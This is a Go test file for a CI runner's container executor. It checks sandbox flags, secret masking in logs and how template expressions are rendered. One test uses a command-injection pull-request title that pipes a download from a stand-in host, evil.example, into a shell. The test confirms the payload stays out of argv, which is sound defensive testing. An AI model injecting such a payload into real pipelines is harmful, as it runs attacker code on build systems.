Go · 12864 bytes Raw Blame History
1 // SPDX-License-Identifier: AGPL-3.0-or-later
2
3 package engine
4
5 import (
6 "context"
7 "errors"
8 "io"
9 "reflect"
10 "strings"
11 "testing"
12 "time"
13 )
14
15 type recordingRunner struct {
16 name string
17 args []string
18 env []string
19 err error
20 }
21
22 func (r *recordingRunner) Run(_ context.Context, name string, args []string, env []string, _, _ io.Writer) error {
23 r.name = name
24 r.args = append([]string{}, args...)
25 r.env = append([]string{}, env...)
26 return r.err
27 }
28
29 type loggingRunner struct{}
30
31 func (loggingRunner) Run(_ context.Context, _ string, _ []string, _ []string, stdout, stderr io.Writer) error {
32 _, _ = stdout.Write([]byte("hello "))
33 _, _ = stderr.Write([]byte("world\n"))
34 return nil
35 }
36
37 type secretLoggingRunner struct{}
38
39 func (secretLoggingRunner) Run(_ context.Context, _ string, _ []string, _ []string, stdout, _ io.Writer) error {
40 _, _ = stdout.Write([]byte("hun"))
41 _, _ = stdout.Write([]byte("ter2\n"))
42 return nil
43 }
44
45 func TestDockerExecute_BuildsResourceCappedRunCommand(t *testing.T) {
46 t.Parallel()
47 rec := &recordingRunner{}
48 d := NewDocker(DockerConfig{
49 Binary: "podman",
50 DefaultImage: "runner-image",
51 Network: "none",
52 Memory: "2g",
53 CPUs: "2",
54 Runner: rec,
55 })
56 out, err := d.Execute(t.Context(), Job{
57 ID: 1,
58 RunID: 2,
59 WorkspaceDir: t.TempDir(),
60 Env: map[string]string{"A": "job"},
61 Steps: []Step{{
62 Index: 0,
63 Name: "test",
64 Run: "echo hi",
65 WorkingDirectory: "subdir",
66 Env: map[string]string{"B": "step"},
67 }},
68 })
69 if err != nil {
70 t.Fatalf("Execute: %v", err)
71 }
72 if out.Conclusion != ConclusionSuccess {
73 t.Fatalf("Conclusion: %q", out.Conclusion)
74 }
75 want := []string{
76 "run", "--rm", "--network=none", "--memory=2g", "--cpus=2",
77 "--pids-limit=512", "--read-only",
78 "--tmpfs", "/tmp:rw,exec,nosuid,nodev,size=1g",
79 "--cap-drop=ALL", "--cap-add=DAC_OVERRIDE", "--cap-add=SETGID", "--cap-add=SETUID",
80 "--security-opt=no-new-privileges", "--security-opt=seccomp=/etc/shithubd-runner/seccomp.json",
81 "--ulimit", "nofile=4096:4096", "--ulimit", "nproc=512:512",
82 "--user", "65534:65534",
83 "--workdir=/workspace/subdir",
84 "--mount", rec.args[23],
85 "--env", "A", "--env", "B",
86 "runner-image", "bash", "-c", "echo hi",
87 }
88 if rec.name != "podman" {
89 t.Fatalf("name: %s", rec.name)
90 }
91 if !reflect.DeepEqual(rec.args, want) {
92 t.Fatalf("args:\ngot %#v\nwant %#v", rec.args, want)
93 }
94 if !strings.HasPrefix(rec.args[23], "type=bind,src=") || !strings.HasSuffix(rec.args[23], ",dst=/workspace,rw") {
95 t.Fatalf("workspace mount arg: %q", rec.args[23])
96 }
97 if wantEnv := []string{"A=job", "B=step"}; !reflect.DeepEqual(rec.env, wantEnv) {
98 t.Fatalf("env:\ngot %#v\nwant %#v", rec.env, wantEnv)
99 }
100 }
101
102 func TestDockerExecute_RendersTaintedExpressionsThroughInputEnv(t *testing.T) {
103 t.Parallel()
104 rec := &recordingRunner{}
105 d := NewDocker(DockerConfig{
106 DefaultImage: "runner-image",
107 Network: "bridge",
108 Memory: "2g",
109 CPUs: "2",
110 Runner: rec,
111 })
112 malicious := `"; curl evil.example | sh #`
113 if _, err := d.Execute(t.Context(), Job{
114 ID: 1,
115 RunID: 2,
116 HeadSHA: "abc",
117 HeadRef: "refs/heads/trunk",
118 EventPayload: map[string]any{"pull_request": map[string]any{"title": malicious}},
119 WorkspaceDir: t.TempDir(),
120 Steps: []Step{{
121 Run: `echo "${{ shithub.event.pull_request.title }}"`,
122 }},
123 }); err != nil {
124 t.Fatalf("Execute: %v", err)
125 }
126 if got := rec.args[len(rec.args)-1]; got != `echo "${SHITHUB_INPUT_0}"` {
127 t.Fatalf("rendered command: %q", got)
128 }
129 if !containsFlagValue(rec.args, "--env", "SHITHUB_INPUT_0") {
130 t.Fatalf("input binding missing from args: %#v", rec.args)
131 }
132 if containsSubstring(rec.args, malicious) {
133 t.Fatalf("tainted input leaked into argv: %#v", rec.args)
134 }
135 if !containsEnv(rec.env, "SHITHUB_INPUT_0="+malicious) {
136 t.Fatalf("input binding missing from process env: %#v", rec.env)
137 }
138 }
139
140 func TestDockerExecute_RendersSecretsThroughEnvWithoutArgvLeak(t *testing.T) {
141 t.Parallel()
142 rec := &recordingRunner{}
143 d := NewDocker(DockerConfig{
144 DefaultImage: "runner-image",
145 Network: "bridge",
146 Memory: "2g",
147 CPUs: "2",
148 Runner: rec,
149 })
150 const secret = "hunter2"
151 if _, err := d.Execute(t.Context(), Job{
152 ID: 1,
153 RunID: 2,
154 Secrets: map[string]string{"TOKEN": secret},
155 WorkspaceDir: t.TempDir(),
156 Steps: []Step{{
157 Run: `printf '%s\n' "${{ secrets.TOKEN }}"`,
158 }},
159 }); err != nil {
160 t.Fatalf("Execute: %v", err)
161 }
162 if got := rec.args[len(rec.args)-1]; got != `printf '%s\n' "${SHITHUB_INPUT_0}"` {
163 t.Fatalf("rendered command: %q", got)
164 }
165 if !containsFlagValue(rec.args, "--env", "SHITHUB_INPUT_0") {
166 t.Fatalf("secret binding missing from args: %#v", rec.args)
167 }
168 if containsSubstring(rec.args, secret) {
169 t.Fatalf("secret leaked into argv: %#v", rec.args)
170 }
171 if !containsEnv(rec.env, "SHITHUB_INPUT_0="+secret) {
172 t.Fatalf("secret binding missing from process env: %#v", rec.env)
173 }
174 }
175
176 func TestDockerExecute_RootRequiresExplicitPermission(t *testing.T) {
177 t.Parallel()
178 for _, tc := range []struct {
179 name string
180 permissions string
181 wantUser string
182 }{
183 {name: "default", permissions: `{}`, wantUser: "65534:65534"},
184 {name: "write-all-does-not-root", permissions: `{"mode":"write-all"}`, wantUser: "65534:65534"},
185 {name: "explicit-root-disabled-by-default", permissions: `{"per":{"shithub-runner-root":"write"}}`, wantUser: "65534:65534"},
186 } {
187 t.Run(tc.name, func(t *testing.T) {
188 t.Parallel()
189 rec := &recordingRunner{}
190 d := NewDocker(DockerConfig{
191 DefaultImage: "runner-image",
192 Network: "bridge",
193 Memory: "2g",
194 CPUs: "2",
195 Runner: rec,
196 })
197 if _, err := d.Execute(t.Context(), Job{
198 ID: 1,
199 Permissions: []byte(tc.permissions),
200 WorkspaceDir: t.TempDir(),
201 Steps: []Step{{Run: "id -u"}},
202 }); err != nil {
203 t.Fatalf("Execute: %v", err)
204 }
205 if got := argAfter(rec.args, "--user"); got != tc.wantUser {
206 t.Fatalf("--user: got %q want %q in %#v", got, tc.wantUser, rec.args)
207 }
208 })
209 }
210 }
211
212 func TestDockerExecute_AllowRootEnablesExplicitRootPermission(t *testing.T) {
213 t.Parallel()
214 rec := &recordingRunner{}
215 d := NewDocker(DockerConfig{
216 DefaultImage: "runner-image",
217 Network: "bridge",
218 Memory: "2g",
219 CPUs: "2",
220 AllowRoot: true,
221 Runner: rec,
222 })
223 if _, err := d.Execute(t.Context(), Job{
224 ID: 1,
225 Permissions: []byte(`{"per":{"shithub-runner-root":"write"}}`),
226 WorkspaceDir: t.TempDir(),
227 Steps: []Step{{Run: "id -u"}},
228 }); err != nil {
229 t.Fatalf("Execute: %v", err)
230 }
231 if got := argAfter(rec.args, "--user"); got != "0:0" {
232 t.Fatalf("--user: got %q want %q in %#v", got, "0:0", rec.args)
233 }
234 }
235
236 func TestDockerExecute_AddsConfiguredDNSServers(t *testing.T) {
237 t.Parallel()
238 rec := &recordingRunner{}
239 d := NewDocker(DockerConfig{
240 DefaultImage: "runner-image",
241 Network: "actions-net",
242 Memory: "2g",
243 CPUs: "2",
244 DNSServers: []string{"172.30.0.10", "172.30.0.11"},
245 Runner: rec,
246 })
247 if _, err := d.Execute(t.Context(), Job{
248 ID: 1,
249 WorkspaceDir: t.TempDir(),
250 Steps: []Step{{Run: "curl https://github.com"}},
251 }); err != nil {
252 t.Fatalf("Execute: %v", err)
253 }
254 if argAfterN(rec.args, "--dns", 0) != "172.30.0.10" || argAfterN(rec.args, "--dns", 1) != "172.30.0.11" {
255 t.Fatalf("dns args missing: %#v", rec.args)
256 }
257 }
258
259 func TestDockerExecute_StreamsStepLogs(t *testing.T) {
260 t.Parallel()
261 d := NewDocker(DockerConfig{
262 DefaultImage: "runner-image",
263 Network: "bridge",
264 Memory: "2g",
265 CPUs: "2",
266 LogChunkBytes: 4,
267 Runner: loggingRunner{},
268 })
269 logs, err := d.StreamLogs(t.Context(), 99)
270 if err != nil {
271 t.Fatalf("StreamLogs: %v", err)
272 }
273 out, err := d.Execute(t.Context(), Job{
274 ID: 99,
275 WorkspaceDir: t.TempDir(),
276 Steps: []Step{{ID: 123, Run: "echo hi"}},
277 })
278 if err != nil {
279 t.Fatalf("Execute: %v", err)
280 }
281 if len(out.StepOutcomes) != 1 || out.StepOutcomes[0].StepID != 123 {
282 t.Fatalf("StepOutcomes: %#v", out.StepOutcomes)
283 }
284 var got []LogChunk
285 for chunk := range logs {
286 got = append(got, chunk)
287 }
288 if len(got) == 0 {
289 t.Fatal("no log chunks streamed")
290 }
291 if got[0].JobID != 99 || got[0].StepID != 123 || got[0].Seq != 0 {
292 t.Fatalf("first chunk: %#v", got[0])
293 }
294 }
295
296 func TestDockerExecute_ScrubsStepLogsAcrossChunkBoundary(t *testing.T) {
297 t.Parallel()
298 d := NewDocker(DockerConfig{
299 DefaultImage: "runner-image",
300 Network: "bridge",
301 Memory: "2g",
302 CPUs: "2",
303 LogChunkBytes: 3,
304 Runner: secretLoggingRunner{},
305 })
306 logs, err := d.StreamLogs(t.Context(), 99)
307 if err != nil {
308 t.Fatalf("StreamLogs: %v", err)
309 }
310 if _, err := d.Execute(t.Context(), Job{
311 ID: 99,
312 WorkspaceDir: t.TempDir(),
313 MaskValues: []string{"hunter2"},
314 Steps: []Step{{ID: 123, Run: "echo secret"}},
315 }); err != nil {
316 t.Fatalf("Execute: %v", err)
317 }
318 var got string
319 for chunk := range logs {
320 got += string(chunk.Chunk)
321 }
322 if got != "***\n" {
323 t.Fatalf("logs: %q", got)
324 }
325 }
326
327 func TestDockerExecute_StreamsOrderedEvents(t *testing.T) {
328 t.Parallel()
329 d := NewDocker(DockerConfig{
330 DefaultImage: "runner-image",
331 Network: "bridge",
332 Memory: "2g",
333 CPUs: "2",
334 LogFlushInterval: time.Hour,
335 Runner: loggingRunner{},
336 })
337 events, err := d.StreamEvents(t.Context(), 99)
338 if err != nil {
339 t.Fatalf("StreamEvents: %v", err)
340 }
341 if _, err := d.Execute(t.Context(), Job{
342 ID: 99,
343 WorkspaceDir: t.TempDir(),
344 Steps: []Step{{ID: 123, Run: "echo hi"}},
345 }); err != nil {
346 t.Fatalf("Execute: %v", err)
347 }
348 var got []Event
349 for event := range events {
350 got = append(got, event)
351 }
352 if len(got) != 2 {
353 t.Fatalf("events: %#v", got)
354 }
355 if got[0].Log == nil || string(got[0].Log.Chunk) != "hello world\n" {
356 t.Fatalf("first event: %#v", got[0])
357 }
358 if got[1].Step == nil || got[1].Step.StepID != 123 || got[1].Step.Conclusion != ConclusionSuccess {
359 t.Fatalf("second event: %#v", got[1])
360 }
361 }
362
363 func TestDockerExecute_FailureMapsToFailureConclusion(t *testing.T) {
364 t.Parallel()
365 d := NewDocker(DockerConfig{
366 DefaultImage: "runner-image",
367 Network: "bridge",
368 Memory: "2g",
369 CPUs: "2",
370 Runner: &recordingRunner{err: errors.New("exit 1")},
371 })
372 out, err := d.Execute(t.Context(), Job{
373 WorkspaceDir: t.TempDir(),
374 Steps: []Step{{Run: "exit 1"}},
375 })
376 if err == nil {
377 t.Fatal("Execute returned nil error")
378 }
379 if out.Conclusion != ConclusionFailure {
380 t.Fatalf("Conclusion: %q", out.Conclusion)
381 }
382 }
383
384 func TestDockerExecute_ContinueOnErrorContinues(t *testing.T) {
385 t.Parallel()
386 rec := &recordingRunner{err: errors.New("exit 1")}
387 d := NewDocker(DockerConfig{
388 DefaultImage: "runner-image",
389 Network: "bridge",
390 Memory: "2g",
391 CPUs: "2",
392 Runner: rec,
393 })
394 out, err := d.Execute(t.Context(), Job{
395 WorkspaceDir: t.TempDir(),
396 Steps: []Step{{Run: "exit 1", ContinueOnError: true}},
397 })
398 if err != nil {
399 t.Fatalf("Execute: %v", err)
400 }
401 if out.Conclusion != ConclusionSuccess {
402 t.Fatalf("Conclusion: %q", out.Conclusion)
403 }
404 }
405
406 func TestDockerExecute_RejectsUnsupportedUses(t *testing.T) {
407 t.Parallel()
408 d := NewDocker(DockerConfig{DefaultImage: "runner-image", Network: "bridge", Memory: "2g", CPUs: "2", Runner: &recordingRunner{}})
409 out, err := d.Execute(t.Context(), Job{
410 WorkspaceDir: t.TempDir(),
411 Steps: []Step{{Uses: "actions/checkout@v4"}},
412 })
413 if !errors.Is(err, ErrUnsupportedUses) {
414 t.Fatalf("error: %v", err)
415 }
416 if out.Conclusion != ConclusionFailure {
417 t.Fatalf("Conclusion: %q", out.Conclusion)
418 }
419 }
420
421 func TestContainerWorkdirRejectsEscapes(t *testing.T) {
422 t.Parallel()
423 for _, wd := range []string{"../x", "/tmp"} {
424 if _, err := containerWorkdir(wd); err == nil {
425 t.Fatalf("containerWorkdir(%q) returned nil error", wd)
426 }
427 }
428 }
429
430 func containsFlagValue(args []string, flag, value string) bool {
431 for i, arg := range args {
432 if arg == flag && i+1 < len(args) && args[i+1] == value {
433 return true
434 }
435 }
436 return false
437 }
438
439 func containsSubstring(args []string, substr string) bool {
440 for _, arg := range args {
441 if strings.Contains(arg, substr) {
442 return true
443 }
444 }
445 return false
446 }
447
448 func containsEnv(env []string, want string) bool {
449 for _, item := range env {
450 if item == want {
451 return true
452 }
453 }
454 return false
455 }
456
457 func argAfter(args []string, flag string) string {
458 for i, arg := range args {
459 if arg == flag && i+1 < len(args) {
460 return args[i+1]
461 }
462 }
463 return ""
464 }
465
466 func argAfterN(args []string, flag string, n int) string {
467 for i, arg := range args {
468 if arg == flag {
469 if n == 0 && i+1 < len(args) {
470 return args[i+1]
471 }
472 n--
473 }
474 }
475 return ""
476 }
477